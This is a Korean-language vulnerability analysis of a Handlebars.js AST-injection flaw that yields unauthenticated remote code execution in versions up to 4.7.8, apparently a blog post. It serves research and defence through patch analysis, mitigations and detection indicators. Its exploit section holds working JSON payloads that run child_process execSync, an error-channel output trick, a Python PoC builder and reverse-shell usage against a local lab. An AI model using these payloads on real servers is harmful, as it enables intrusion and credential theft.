Summary
Handlebars.js의 compile() 및 precompile() API는 템플릿 문자열과 사전 파싱된 AST(Program 노드) 객체를 모두 입력으로 허용한다. 4.7.8 이하 버전은 전달된 AST 객체의 출처를 검증하지 않으며, 객체가 입력된 경우 파싱 단계 전체를 조기 반환으로 건너뛴다.
파서는 문법 검증뿐 아니라 각 AST 필드의 타입 계약(type contract) 을 생성하는 주체이며, 코드 생성기 JavaScriptCompiler는 이 계약을 전제로 리터럴 노드를 처리한다. 파싱이 생략되면 계약이 성립하지 않으므로, 공격자가 제어하는 문자열이 숫자·불리언 리터럴 위치에 삽입될 수 있고, 해당 값은 인용 처리 없이 생성 JavaScript 소스에 직접 병합된다.
Handlebars는 생성된 소스를 최종적으로 평가하여 렌더 함수를 구성하므로, 이 시점에서 임의 코드 실행이 성립한다. 애플리케이션이 JSON 본문 파서를 사용하고 사용자 입력을 문자열로 강제하지 않는 경우, 인증되지 않은 HTTP 요청 하나로 서버 프로세스 권한의 코드 실행이 가능하다.
| 항목 | 내용 |
|---|---|
| 영향 버전 | handlebars >= 4.0.0, <= 4.7.8 |
| 수정 버전 | 4.7.9 |
| 취약 진입점 | Handlebars.compile(), Handlebars.precompile() |
| 공격 전제 | 외부 제어 값이 객체 상태로 컴파일러에 도달 |
| 인증 요구 | 없음 (해당 엔드포인트가 미인증인 경우) |
| 사용자 상호작용 | 불필요 |
1. 기술적 배경 — 컴파일 파이프라인
Handlebars.compile()은 템플릿 문자열을 즉시 렌더링하지 않으며, 다음 4단계를 거쳐 재사용 가능한 렌더 함수를 생성한다.
'Welcome, {{name}}!'
│
│ ① parse() 문법 분석 및 타입 정규화
▼
Program AST
│
│ ② Compiler AST → 오프코드 시퀀스
▼
opcodes
│
│ ③ JavaScriptCompiler 오프코드 → JavaScript 소스 문자열
▼
'function(container,depth0,helpers,partials,data){ ... }'
│
│ ④ Function 생성 및 평가
▼
렌더 함수
4단계 구조에서 주목할 지점은 ③에서 생성된 소스 문자열이 ④에서 실제로 평가된다는 점이다. 따라서 ③단계의 출력에 임의 표현식을 병합할 수 있다면, 별도의 런타임 가젯 체인 없이 코드 실행이 성립한다.
또한 ①단계의 파서는 문법 오류 검출 외에 다음 역할을 수행한다. {{helper 49}}를 파싱하면 리터럴 49는 JavaScript number 타입으로 정규화된 NumberLiteral 노드가 된다. 즉 파서는 AST 각 필드의 타입 불변식을 확립하며, 후속 단계는 이를 전제로 설계되어 있다.
신뢰 모델 정리
| 구분 | 예시 | 소유 주체 | 신뢰 여부 |
|---|---|---|---|
| 템플릿 | Welcome, {{name}}! |
애플리케이션 개발자 | 신뢰 |
| 데이터 | { name: 'Ada' } |
최종 사용자 | 비신뢰 |
| 컴파일러 내부 표현(AST) | Program 노드 트리 |
파서 | 신뢰 (전제) |
본 취약점은 세 번째 항목의 전제가 성립하지 않는 경로가 존재함을 이용한다.
2. 근본 원인 분석
2.1 파서 우회 — 조기 반환
compile() 및 precompile()은 입력이 이미 Program 타입 노드인 경우 파싱을 생략한다. 4.7.8 이하의 개념적 구현은 다음과 같다.
// 취약 버전 개념 흐름
function parseInput(input, options) {
if (input.type === 'Program') {
return input; // 객체의 생성 주체를 검증하지 않음
}
return parse(input, options);
}
이 분기는 빌드 타임 사전 컴파일 및 도구 연동을 위해 도입된 기능이다. 문제는 객체의 출처(provenance)를 확인하는 절차가 부재하다는 점이며, 내부 파서가 생성한 AST와 역직렬화된 외부 JSON이 동일하게 취급된다.
2.2 코드 생성기의 타입 가정
JavaScriptCompiler는 리터럴 노드 종류에 따라 출력 전략을 달리한다.
// JavaScriptCompiler 개념 코드
case 'StringLiteral':
this.pushString(node.value); // 인용 및 이스케이프 처리
break;
case 'NumberLiteral':
this.pushLiteral(node.value); // 원시 값 그대로 병합 (인용 없음)
break;
case 'BooleanLiteral':
this.pushLiteral(node.value); // 원시 값 그대로 병합 (인용 없음)
break;
pushLiteral 경로의 안전성은 "파서가 정규화한 값이므로 반드시 원시 스칼라" 라는 단일 가정에 의존한다. AST를 직접 주입하면 이 가정이 무너진다.
| 파서가 생성한 AST | 주입된 AST | |
|---|---|---|
| 노드 | {"type":"NumberLiteral","value":49} |
{"type":"NumberLiteral","value":"7*7"} |
value 타입 |
number |
string |
| 생성 JS | ..., 49, ... |
..., 7*7, ... |
| 해석 | 데이터 리터럴 | 실행 가능한 표현식 |
문자열 "7*7"은 문자열 리터럴로 인용되지 않고 표현식 7*7로 소스에 병합된다. 이것이 타입 혼동이며, 데이터와 코드의 경계가 붕괴되는 정확한 지점이다.
랩의 /debug/compiled 엔드포인트에서 생성 소스를 직접 확인할 수 있다.
[3] 컴파일된 소스에 '7*7' 원시 삽입 여부: True
...lookupProperty(helpers,"lookup")||alias2).call(alias1,depth0,7*7,{"name": ...
^^^
인용 부호 없음
2.3 영향범위
공개된 다수의 PoC는 NumberLiteral 노드와 lookup 내장 헬퍼 조합을 사용한다. 그러나 근본 원인은 특정 노드나 헬퍼가 아니라 pushLiteral 계열 경로 전반의 타입 가정에 있다.
별도 PoC 검증을 통해 BooleanLiteral 노드와 log 내장 헬퍼 조합으로도 동일한 원시 삽입이 성립함을 확인했다. 즉 취약 표면은 다음 곱집합에 가깝다.
| 축 | 후보 |
|---|---|
| 리터럴 노드 | NumberLiteral, BooleanLiteral — pushLiteral로 처리되는 모든 노드 |
| 전달 매개체 | lookup, log — 인자를 평가하는 모든 헬퍼 호출 |
이 사실은 두 가지 실무적 함의를 갖는다. 첫째, 특정 페이로드 문자열 기반의 차단 룰은 우회 가능하다. 둘째, 완화는 노드 단위가 아니라 컴파일 경계 진입 시점의 타입 강제로 수행되어야 한다.
3. 문제점
Handlebars는 4.6.0에서 프로토타입 접근 보호를 기본 활성화(allowProtoPropertiesByDefault: false)하여, 아래와 같은 전통적 SSTI 가젯 체인을 차단했다.
{{#with "s" as |string|}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
이로 인해 다수의 평가 체크리스트는 "Handlebars 4.7.x = 프로토타입 보호 적용 = SSTI 불가"로 결론짓는다. 그러나 이 완화는 런타임(템플릿 실행 시점) 에 적용되는 반면, CVE-2026-33937은 컴파일 타임(코드 생성 시점) 에 성립한다.
[전통적 SSTI] 템플릿 문자열 → parse → AST → 코드 생성 → 렌더 함수 → 런타임 가젯 체인 → 차단
[CVE-2026-33937] ──────────────── AST 직접 주입 ──────→ 코드 생성 시점에 이미 성립
렌더 함수가 구성되는 시점에 이미 공격자 코드가 소스에 포함되어 있으므로, 프로토타입 보호 계층은 경유 대상이 아니다. 따라서 버전 기준의 "SSTI 불가" 판정은 본 취약점에 대해 유효하지 않다.
유의사항 — 엔진 식별
응답 본문의 작은따옴표 이스케이프 방식으로 템플릿 엔진을 식별할 수 있다. Handlebars의
escapeExpression()은 16진수 엔티티를 사용한다.
엔진 '이스케이프EJS / Pug / Nunjucks '(10진수)Handlebars '(16진수)
Thieves' Tools와 같은 출력에X-Powered-By: Express헤더가 동반되면 Express + Handlebars 스택으로 판단할 근거가 된다.
4. 취약 코드 패턴
4.1 최소 재현 코드
app.use(express.json()); // 객체 전달의 전제 조건
app.post('/campaign/preview', (req, res) => {
// campaign_message에 대한 타입 검증 부재
const tpl = Handlebars.compile(req.body.campaign_message);
res.json({ rendered: tpl(CONTEXT) });
});
개발자의 의도상 campaign_message는 사용자가 작성한 짧은 텍스트이나, 실제로는 컴파일러에 직접 전달되는 입력이다.
요청 JSON ──역직렬화──> JS 객체 ──> compile() ──> 코드 생성 ──> 평가
▲
└── 타입 검증이 부재한 신뢰 경계
4.2 본문 파서 의존성
express.urlencoded()만 적용된 경우 모든 필드가 문자열로 파싱되므로 객체 전달 경로가 존재하지 않는다. 랩의 --probe 1단계가 이 대조군을 수행한다.
# form-urlencoded 전송 시 문자열 템플릿으로 처리됨
curl -sX POST http://127.0.0.1:3000/campaign/preview \
-d 'campaign_message=hi {{player}}'
역으로, JSON 본문 파서와 런타임 템플릿 컴파일의 병용은 코드 감사 시 우선 식별 대상이다.
4.3 성립 조건
취약 버전 사용만으로 원격 코드 실행이 성립하지 않으며, 다음 네 조건이 모두 충족되어야 한다.
- Handlebars
4.0.0 ~ 4.7.8사용 - 외부 제어 값이
compile()또는precompile()에 도달 - 해당 값이 문자열로 강제되지 않아 객체 전달이 가능
- 컴파일 결과가 실제로 평가·렌더링됨
실무상 3번이 유일한 애플리케이션 계층 방어선이나, 대부분의 코드베이스에 해당 검증이 존재하지 않는다.
신뢰 경계 설정 기준 — HTTP 요청 외에도 데이터베이스에 저장된 JSON 템플릿, 웹훅 페이로드, 메시지 큐 항목, 내부 마이크로서비스 응답이 모두 외부 입력에 해당한다. 신뢰 경계는 네트워크 위치가 아니라 데이터의 출처를 기준으로 설정해야 한다.
5. 익스플로잇 도출
본 절은 완성된 페이로드를 제시하는 대신, 최소 관측에서 출발해 각 단계를 실험으로 확정해 나가는 과정을 순서대로 기록한다.
5.1 관측 지점 확보
익스플로잇 개발 이전에 무엇을 볼 수 있는가를 먼저 정한다. 랩은 두 개의 관측 지점을 제공한다.
| 엔드포인트 | 관측 대상 | 용도 |
|---|---|---|
/campaign/preview |
렌더 결과 및 오류 메시지 | 최종 성립 여부 |
/debug/compiled |
precompile()이 생성한 JavaScript 소스 문자열 |
파이프라인 ③단계 직접 관찰 |
두 번째 지점이 본 분석의 핵심이다. 1절의 4단계 중 ③의 출력을 직접 읽을 수 있으면, 주입 값이 데이터로 인용되는지 코드로 병합되는지를 실행 없이 판별할 수 있다. 실제 평가 대상에는 이런 엔드포인트가 없으므로, 연구 단계에서 로컬 랩을 구성하는 실익이 여기에 있다.
1단계 — 입력이 컴파일러까지 도달하는가
먼저 정상 문자열로 기준선을 잡는다.
curl -sX POST http://127.0.0.1:3000/campaign/preview \
-H 'Content-Type: application/json' \
-d '{"campaign_message":"hi {{player}}"}'
{"ok":true,"mode":"vulnerable","input_type":"string","rendered":"hi Adventurer","ms":1}
{{player}}가 치환되었으므로 해당 필드는 렌더 데이터가 아니라 템플릿 자체로 컴파일된다. 다음으로 Program이 아닌 임의 객체를 보내 타입 처리 방식을 확인한다.
curl -sX POST http://127.0.0.1:3000/campaign/preview \
-H 'Content-Type: application/json' \
-d '{"campaign_message":{"foo":"bar"}}'
{"ok":false,"input_type":"object",
"error":"You must pass a string or Handlebars AST to Handlebars.compile. You passed [object Object]"}
이 오류가 1단계의 실질적 성과다. 애플리케이션이 타입 검증 없이 객체를 그대로 compile()에 넘기고 있으며, 거부 주체가 애플리케이션이 아니라 Handlebars 자신임을 알려준다. 동시에 "a string or Handlebars AST"라는 문구가 AST 입력 경로의 존재를 확인해 준다. 블랙박스 평가에서도 이 메시지는 강한 지표다.
2단계 — 파서 우회의 최소 증명
코드 실행을 시도하기 전에 파서가 실제로 생략되는지만 분리해서 확인한다. 가장 단순한 Program부터 시작한다.
# 빈 Program
-d '{"campaign_message":{"type":"Program","body":[],"strip":{},
"loc":{"start":{"line":1,"column":0},"end":{"line":1,"column":0}}}}'
{"ok":true,"input_type":"object","rendered":"","ms":0}
오류 없이 빈 문자열이 렌더되었다. type: "Program" 분기가 객체를 수용한 것이다. 이제 출력이 있는 노드를 하나 넣는다.
이하 예시에서
LOC는 위loc객체{"start":{"line":1,"column":0},"end":{"line":1,"column":0}}의 축약 표기다. 실제 요청에서는 전개된 형태로 전송해야 한다.
# ContentStatement — 정적 텍스트 노드
-d '{"campaign_message":{"type":"Program","body":[
{"type":"ContentStatement","value":"AST-OK","original":"AST-OK","loc":LOC}],
"strip":{},"loc":LOC}}'
{"ok":true,"input_type":"object","rendered":"AST-OK","ms":1}
AST-OK가 렌더되었다. 문자열을 거치지 않고 구성한 AST가 렌더 함수까지 도달했으므로 파서 우회가 확정된다. 이 시점까지 코드 실행 요소는 전혀 없으며, 이후 실패는 모두 페이로드 구성 문제로 범위가 축소된다. 순서를 뒤집어 셸부터 시도했다면 이 구분이 불가능하다.
3단계 — 인용 경계 탐색
이제 어느 필드가 인용 없이 병합되는지 찾는다. 유효한 AST의 형태를 추측하는 대신 파서에게 직접 물어본다.
curl -sX POST http://127.0.0.1:3000/debug/compiled \
-H 'Content-Type: application/json' \
-d '{"campaign_message":"{{lookup this 49}}"}'
return container.escapeExpression(lookupProperty(helpers,"lookup").call(
depth0 != null ? depth0 : (container.nullContext || {}),depth0,49,
{"name":"lookup","hash":{},"data":data,"loc":{...}}));
숫자 49가 생성 소스에 ,49,로 나타난다. 이것이 목표 지점이다. 이제 같은 위치를 리터럴 노드 종류만 바꿔 가며 주입해 비교한다. 무해한 7*7을 사용하는 이유는 명령 실행 여부가 아니라 인용 여부만을 관측하기 위해서다.
| 주입 노드 | value |
생성 소스 | 해석 |
|---|---|---|---|
StringLiteral |
"7*7" |
...,depth0,"7*7",{"name":... |
인용됨 — 데이터 |
NumberLiteral |
"7*7" |
...,depth0,7*7,{"name":... |
인용 없음 — 표현식 |
StringLiteral은 pushString()으로 이스케이프되지만, NumberLiteral은 pushLiteral()로 원시 병합된다(2.2절). 두 응답의 차이는 따옴표 두 개뿐이며, 그것이 데이터와 코드의 경계다.
4단계 — 리터럴을 담을 컨테이너
NumberLiteral을 body에 단독으로 배치하면 실패한다.
{"type":"Program","body":[{"type":"NumberLiteral","value":"7*7","original":1,"loc":LOC}], ...}
Error: Compile completed with content left on stack
at JavaScriptCompiler.compile (.../javascript-compiler.js:124:13)
리터럴은 스택에 값을 쌓기만 할 뿐 이를 소비하는 구문이 없어 컴파일러가 정합성 검사에서 중단한다. 즉 리터럴은 독립 구문이 될 수 없고 표현식의 인자여야 한다. 값을 소비하면서 인자를 평가하는 최소 구조가 헬퍼 호출이며, 내장 lookup은 인자 2개를 받으므로 이 역할에 적합하다.
{{lookup this <NumberLiteral>}}
└─ 원시 병합 대상
헬퍼의 조회 결과 자체는 무의미하다. 인자 평가 시점에 주입 코드가 실행되므로 반환값은 사용되지 않아도 무방하다.
5단계 — loc 의존성의 실제 경계
AST 노드에 loc을 붙여야 한다는 것은 널리 알려져 있으나, 어느 노드에 왜 필요한지는 실험으로 확정해야 한다. 노드별로 loc을 하나씩 제거하며 관측했다.
| 제거 대상 | 결과 | 응답 |
|---|---|---|
| 없음 (기준선) | 성립 | 200 rendered:"" |
Program.loc |
성립 | 200 rendered:"" |
PathExpression.loc |
성립 | 200 rendered:"" |
NumberLiteral.loc |
성립 | 200 rendered:"" |
MustacheStatement.loc |
실패 | 400 "Unexpected token '}'" |
loc은 전 노드 필수가 아니라 MustacheStatement 한 곳에서만 실질적으로 요구된다. 실패 양상도 주목할 만하다. Unexpected token '}'는 런타임 참조 오류가 아니라 구문 오류이며, 생성 소스를 보면 원인이 드러난다.
lookupProperty(helpers,"lookup").call(...,depth0,7*7,{"name":"lookup","hash":{},"data":data,"loc":}));
^^^^^^
loc 값이 헬퍼 옵션 객체에 문자열로 직접 연결되므로, 누락 시 "loc": 뒤가 비어 문법적으로 깨진 JavaScript가 생성된다. 즉 loc은 의미론적 요구사항이 아니라 코드 생성기의 문자열 조립상 요구사항이다. 이는 2절의 논지를 보강한다 — AST 필드는 검증 없이 소스로 흘러 들어가며, 그중 하나가 마침 코드로 해석될 뿐이다.
original 필드도 함께 유지한다. NumberLiteral은 숫자, BooleanLiteral은 불리언으로 두는 편이 다른 코드 경로의 예외를 피하는 데 안전하다.
6단계 — 표현식에서 명령 실행으로
7*7이 병합됨을 확인했으므로 임의 표현식이 가능하다. 다만 생성 함수의 스코프에는 require가 없으므로 process 객체를 경유한다.
| Node.js 버전 | 경로 |
|---|---|
| 22 이상 | process.getBuiltinModule('child_process') |
| 22 미만 | process.mainModule.require('child_process') |
대상 런타임 버전을 사전에 알 수 없는 경우가 일반적이므로 삼항 연산자로 양쪽을 포함해 버전 독립적으로 구성한다.
(process.getBuiltinModule
? process.getBuiltinModule('child_process')
: process.mainModule.require('child_process')).execSync('id').toString()
이 문자열을 NumberLiteral.value에 넣으면 완성된 Variant A 페이로드가 된다.
7단계 — 블라인드 문제와 예외 채널
완성된 페이로드를 전송하면 다음과 같다.
{"ok":true,"input_type":"object","rendered":"","ms":8}
ms가 1 미만에서 8로 증가해 프로세스 생성이 있었음을 시사하지만, rendered는 비어 있다. lookup이 존재하지 않는 키를 조회해 undefined를 반환하기 때문이며, 명령 출력은 인자 평가 시점에 생성된 뒤 그대로 버려진다. 통상 이 지점에서 파일 생성이나 타이밍 측정 같은 간접 확인, 혹은 리버스 셸로 전환한다.
그러나 주입 지점이 임의 표현식이라는 점을 이용하면 출력을 직접 회수할 수 있다. 랩 서버는 렌더 예외를 잡아 error 필드에 메시지를 담아 400으로 반환하는데(app/server.js), 이는 실무에서 흔한 구현이다. 명령 출력을 예외로 감싸 던지면 이 경로를 그대로 출력 채널로 쓸 수 있다.
(()=>{ throw new Error(
(process.getBuiltinModule?process.getBuiltinModule('child_process')
:process.mainModule.require('child_process')).execSync('id').toString()
)})()
{"ok":false,"mode":"vulnerable","input_type":"object",
"error":"uid=996(darkzero) gid=996(darkzero) groups=996(darkzero)\n"}
명령 출력이 HTTP 응답에 그대로 반사된다. 블라인드 RCE가 동기식 출력 채널로 전환되며, 아웃바운드가 차단된 환경에서도 열거가 가능해진다. 이는 오류 메시지를 클라이언트에 노출하는 구현이 취약점의 실질 영향도를 어떻게 증폭시키는지 보여주는 사례이기도 하다.
반대로 방어 관점에서는, 예외 메시지를 응답 본문에 포함시키지 않는 것만으로 공격자의 관측 대역폭이 크게 줄어든다. 근본 해결책은 아니지만 9.3절의 심층 방어에 해당한다.
5.2 Variant B — BooleanLiteral + log
동일한 원시 삽입이 다른 노드·헬퍼 조합으로도 성립하는지 확인한다. BooleanLiteral 역시 pushLiteral 경로로 처리되므로 같은 결과가 예상된다.
{
"type": "Program",
"body": [{
"type": "MustacheStatement",
"path": { "type": "PathExpression", "data": false, "depth": 0,
"parts": ["log"], "original": "log", "loc": LOC },
"params": [
{ "type": "BooleanLiteral", "value": "7*7", "original": true, "loc": LOC }
],
"escaped": true, "strip": { "open": false, "close": false }, "loc": LOC
}],
"strip": {}, "loc": LOC
}
return container.escapeExpression(lookupProperty(helpers,"log").call(
depth0 != null ? depth0 : (container.nullContext || {}),7*7,{"name":"log",...}));
예상대로 인용 없이 병합된다. 이 변종의 의의는 실행 결과가 아니라 취약점이 단일 노드 타입이나 단일 헬퍼에 국한되지 않음을 실증한다는 점에 있다. 결과적으로 노드 타입 기반의 부분적 차단은 완화 대책으로 부적합하다.
5.3 수동 검증에서 poc.py로
위 과정은 전부 단발 요청이며, 그대로 두면 재현할 때마다 JSON을 손으로 조립해야 한다. exploit/poc.py는 이 실험 절차를 관측 순서를 보존한 채 코드로 옮긴 것이다. 설계상 결정은 세 가지다.
① 반복 구조를 헬퍼로 승격 — 5.4~5.7에서 바뀐 것은 리터럴 노드의 value 하나뿐이고 나머지 골격은 고정이었다. 이를 ast_program(js_expr) 한 함수로 일반화한다.
LOC = {"start": {"line": 1, "column": 0}, "end": {"line": 1, "column": 0}}
def ast_program(js_expr):
return {
"type": "Program",
"body": [{
"type": "MustacheStatement",
"path": {"type": "PathExpression", "data": False, "depth": 0,
"parts": ["lookup"], "original": "lookup", "loc": LOC},
"params": [
{"type": "PathExpression", "data": False, "depth": 0,
"parts": [], "original": "this", "loc": LOC},
{"type": "NumberLiteral", "value": js_expr, "original": 1, "loc": LOC},
],
"escaped": True, "strip": {"open": False, "close": False}, "loc": LOC,
}],
"strip": {}, "loc": LOC,
}
LOC을 모듈 상수로 둔 이유는 5.6에서 확인했듯 누락 시 실패 양상이 구문 오류라 원인 추적이 번거롭기 때문이다. 노드마다 다시 쓰지 않고 한 곳에서 강제한다.
② 페이로드와 전송 계층 분리 — js_exec(cmd)는 5.7의 버전 독립 모듈 획득 경로만 담당하고, post()는 전송만 담당한다. 이 분리 덕분에 --cmd와 --lhost가 같은 ast_program()을 공유하며, 명령 문자열은 json.dumps()로 인용해 따옴표가 포함된 명령에도 페이로드가 깨지지 않는다.
③ --probe는 실험 순서를 그대로 보존 — 진단 가치는 순서에 있다. 각 단계는 직전 단계가 성립해야만 의미를 가지므로, 실패 지점이 곧 원인이다.
--probe 단계 |
대응 절 | 검증 항목 | 취약 환경 기대 결과 |
|---|---|---|---|
[0] |
5.2 | 대상 필드의 컴파일 여부 | {{player}} → Adventurer 치환 |
[1] |
4.2 | 전송 형식 대조 | form-urlencoded로는 객체 전달 불가 |
[2] |
5.3 | 파서 우회 성립 여부 | ContentStatement → AST-OK 렌더 |
[3] |
5.4 | 코드 생성 오염 여부 | 생성 JS에 7*7 원시 삽입 |
[2]가 실패하면 [3] 이하는 성립할 수 없으므로 그 시점에 검증을 중단한다. 반대로 [3]까지 통과했는데 --cmd가 실패한다면 원인은 파서 우회가 아니라 실행 페이로드(모듈 획득 경로, 명령 인용)에 있다. 이런 절단이 가능하도록 단계를 나눈 것이 이 스크립트의 목적이며, 즉시 셸을 시도하는 단일 요청 PoC와의 차이도 여기에 있다.
대상 확인 선행 — 단계별 절차를 갖추더라도 요청이 의도한 서버에 도달했는지는 별개 문제다. 다른 프로세스가 같은 포트를 점유한 경우 전 단계가 일괄 실패하며, 응답 본문만으로는 원인을 오판하기 쉽다.
--probe실행 전/healthz로mode와 handlebars 버전을 확인하는 절차를 권장한다.
6. 재현 환경
첨부 랩은 동일한 애플리케이션 코드를 취약본과 패치본 두 모드로 동시 구동하여, 동일 페이로드에 대한 결과 차이를 대조 가능한 형태로 제공한다.
| 서비스 | 바인딩 | Handlebars | 애플리케이션 검증 | 결과 |
|---|---|---|---|---|
vulnerable |
127.0.0.1:3000 |
4.7.8 | 없음 | AST가 컴파일러에 도달, RCE 성립 |
patched |
127.0.0.1:3001 |
4.7.9 | typeof 강제 |
렌더 이전 400 응답으로 차단 |
6.1 구동 및 버전 확인
docker compose up -d --build
curl -s http://127.0.0.1:3000/healthz
{"ok":true,"mode":"vulnerable","handlebars":"4.7.8"}
curl -s http://127.0.0.1:3001/healthz
{"ok":true,"mode":"patched","handlebars":"4.7.9"}
6.2 검증 절차
# 1) 개념 검증 — 코드 실행 없이 경로만 확인
python3 exploit/poc.py --url http://127.0.0.1:3000 --probe
# 2) 명령 실행
python3 exploit/poc.py --url http://127.0.0.1:3000 --cmd "id; uname -a"
# 3) 리버스 셸 (별도 터미널에서 nc -lvnp 4444 선행)
python3 exploit/poc.py --url http://127.0.0.1:3000 --lhost 127.0.0.1 --lport 4444
# 4) 대조군 — 동일 페이로드를 패치본에 전송
python3 exploit/poc.py --url http://127.0.0.1:3001 --cmd "id"
# → 400 "campaign_message must be a string"
7. 영향 평가
코드 실행은 애플리케이션 서버 프로세스와 동일한 권한 컨텍스트에서 발생한다. 클라이언트 사이드 XSS와 달리 결과가 사용자에게 반사될 필요가 없으며, 렌더 결과가 비어 있어도 실행은 완료된다.
| 영역 | 구체적 영향 |
|---|---|
| 기밀성 | 프로세스가 접근 가능한 설정 파일·환경 변수·자격 증명 열람 및 유출 (.env, /proc/self/environ, 애플리케이션 시크릿) |
| 무결성 | 쓰기 권한 범위 내 파일 변조, 애플리케이션 로직 조작 |
| 가용성 | 프로세스 종료, 리소스 고갈 |
| 확장 | 아웃바운드 연결을 통한 리버스 셸 확립, 내부망 피벗, 자격 증명 재사용을 통한 횡적 이동 |
랩 시나리오에서 셸 획득 후 노출되는 미끼 .env 파일은 단일 RCE가 자격 증명 유출을 거쳐 인접 시스템 침해로 확장되는 경로를 재현하기 위한 것이다. 실제 평가에서도 애플리케이션 서비스 계정의 자격 증명 재사용 여부가 최종 영향도를 결정하는 주요 변수로 작용한다.
CVSS 관점 요약 — 네트워크 경유, 낮은 공격 복잡도, 인증 불필요(엔드포인트 노출 시), 사용자 상호작용 불필요, 기밀성·무결성·가용성 전면 영향. 미인증 엔드포인트에서 노출될 경우 Critical 등급에 해당한다.
8. 패치 분석 — 4.7.9
4.7.9의 수정 방향은 사전 파싱된 AST를 신뢰한다는 전제의 제거이다.
// 4.7.8 이하
if (input.type === 'Program') {
return input;
}
// 4.7.9
if (input.type === 'Program') {
validateInputAst(input); // 트리 전체 재귀 검증
return input;
}
validateInputAst는 AST를 순회하며 노드별 타입 계약을 강제한다.
| 노드 | 강제되는 계약 |
|---|---|
NumberLiteral.value |
유한한 number |
BooleanLiteral.value |
boolean |
StringLiteral.value |
string |
PathExpression.parts |
문자열 배열, depth는 number |
기존에 파서가 암묵적으로 확립하던 불변식을 코드 생성 이전 단계에서 명시적으로 재검증하는 구조이며, 타입 불일치 시 예외가 발생한다. 이 접근은 5.2절에서 제기한 변종 문제를 노드 단위가 아닌 트리 단위로 처리한다는 점에서 적절하다.
실제 변경 내역은 공식 패치 커밋에서 확인할 수 있다.
8.1 업데이트 검증 절차
package.json 수정만으로는 불충분하다. express-handlebars를 비롯한 다수 패키지가 자체 의존성으로 handlebars를 포함하므로 중첩 의존성 전체를 확인한다.
npm ls handlebars
lockfile 및 빌드 완료된 컨테이너 이미지까지 검증 범위에 포함시키고, 다음 회귀 테스트를 추가한다.
it('rejects a non-string template before compilation', async () => {
const res = await request(app)
.post('/campaign/preview')
.send({ campaign_message: { type: 'Program', body: [] } });
expect(res.status).toBe(400);
});
9. 대응 방안
9.1 런타임 컴파일 제거
사용자가 데이터를 입력하는 기능과 사용자가 서버에서 평가될 템플릿을 제공하는 기능은 위험도가 상이한 별개의 요구사항이다. 후자의 필요성을 우선 재검토한다.
// 권장 — 템플릿 구조는 애플리케이션이 소유, 사용자 입력은 데이터로만 바인딩
const renderGreeting = Handlebars.compile('Welcome, {{name}}!');
res.send(renderGreeting({ name: req.body.name }));
런타임 컴파일이 요구되지 않는 배포에서는 Handlebars CLI로 빌드 타임 사전 컴파일을 수행하고 handlebars/runtime 번들만 배포한다. 런타임 번들에는 compile()이 포함되지 않으므로 공격 표면 자체가 제거된다.
9.2 컴파일 경계에서의 타입 강제
사용자 정의 템플릿이 제품 요구사항인 경우, 요청 스키마 검증과 별개로 compile() 호출 직전에 타입을 강제한다.
function compileUserTemplate(input) {
if (typeof input !== 'string') {
throw new TypeError('template must be a string'); // 변환이 아닌 거부
}
if (input.length > 512) {
throw new RangeError('template is too long');
}
return Handlebars.compile(input, { strict: false });
}
구현 시 유의사항 —
String(input)을 통한 강제 변환은 부적절하다. 검증을 통과한 것으로 보이나 의도되지 않은 입력이 그대로 유입되며,[object Object]렌더링이라는 별도 결함을 유발한다. 변환이 아닌 거부로 처리해야 한다.
이 검증은 4.7.9 업그레이드 이후에도 유지한다. 두 계층의 방어 대상이 상이하기 때문이다.
| 계층 | 방어 대상 |
|---|---|
| 라이브러리 패치 | 알려진 타입 혼동 벡터 |
| 애플리케이션 검증 | 신뢰 경계 자체 — 향후 발견될 유사 결함 포함 |
9.3 운영 계층 심층 방어
- 템플릿 컴파일 입력의 타입·길이·요청 ID를 구조화 로그로 기록한다. 입력 원문 및 시크릿은 기록하지 않는다.
- 비문자열 컴파일 입력은 거부하고 경보 후보로 분류한다. 정상 트래픽에서 발생 빈도가 사실상 0이므로 신호 대 잡음비가 우수하다.
- 렌더링 프로세스는 비특권 계정, 최소 capability, 시크릿 분리, 아웃바운드 네트워크 제한 하에 구동한다. 아웃바운드 차단은 리버스 셸 확립을 직접 저지한다.
- 자식 프로세스 생성을 감시한다. Node.js 웹 서버 프로세스가 셸을 fork하는 것은 정상 운영 상황에서 관측되지 않는 패턴이다.
10. 탐지
익스플로잇이 성공한 경우 HTTP 응답은 200이며 렌더 결과는 정상이거나 공백이다. 애플리케이션 오류 로그에 흔적이 남지 않으므로 요청 측 아티팩트를 기준으로 탐지해야 한다.
10.1 요청 기반 지표
# 1) 템플릿 필드가 객체·배열 타입인 요청
Content-Type: application/json + 본문 내 "type":"Program"
# 2) AST 노드 타입 문자열
"MustacheStatement" "ContentStatement" "NumberLiteral" "BooleanLiteral" "PathExpression"
# 3) Node.js 내부 객체 접근 시도
process.getBuiltinModule process.mainModule child_process execSync
1번 지표는 단독으로도 신뢰도가 높다. 정상 클라이언트는 템플릿 필드에 객체를 전송하지 않는다.
10.2 호스트 기반 지표
- 웹 애플리케이션 프로세스의 예기치 않은 자식 프로세스 (
node→sh/bash) - 애플리케이션 서버 발신 비정상 아웃바운드 연결, 특히 비표준 포트 대상
- 서비스 계정의
.env,~/.ssh,/proc/*/environ접근 - 템플릿 렌더 지연 시간 및 오류율의 급격한 변동
10.3 시그니처 기반 탐지의 한계
{{, constructor, __proto__ 등 템플릿 문법 기반 WAF 룰은 본 공격을 탐지하지 못한다. 페이로드에 템플릿 구문이 포함되지 않으며 형태상 일반 JSON 객체이기 때문이다. 또한 5.2절에서 확인한 바와 같이 특정 노드 타입 문자열을 차단하더라도 대체 노드로 우회가 가능하다.
탐지는 페이로드 문법이 아니라 템플릿 필드의 타입이라는 구조적 속성을 기준으로 설계해야 한다.
11. 결론
AST는 그 자체로 안전한 형식이 아니며, 신뢰 가능한 출처에서 생성되었을 때에 한해 안전한 내부 표현이다.
내부 표현과 구조적으로 동일한 객체가 내부에서 생성되었음을 보장하는 근거는 존재하지 않는다. 파서를 우회한다는 것은 문법 검증을 생략하는 것에 그치지 않고, 파서가 확립하던 모든 타입 불변식을 함께 포기하는 것을 의미한다.
라이브러리 계층은 4.7.9에서 트리 단위 검증으로 이를 해결했다. 애플리케이션 계층은 컴파일 경계에서 비문자열 입력을 거부함으로써, 동일 원인에서 파생될 향후 결함까지 포괄적으로 차단할 수 있다.
Comments
Sign in with GitHub to leave a comment.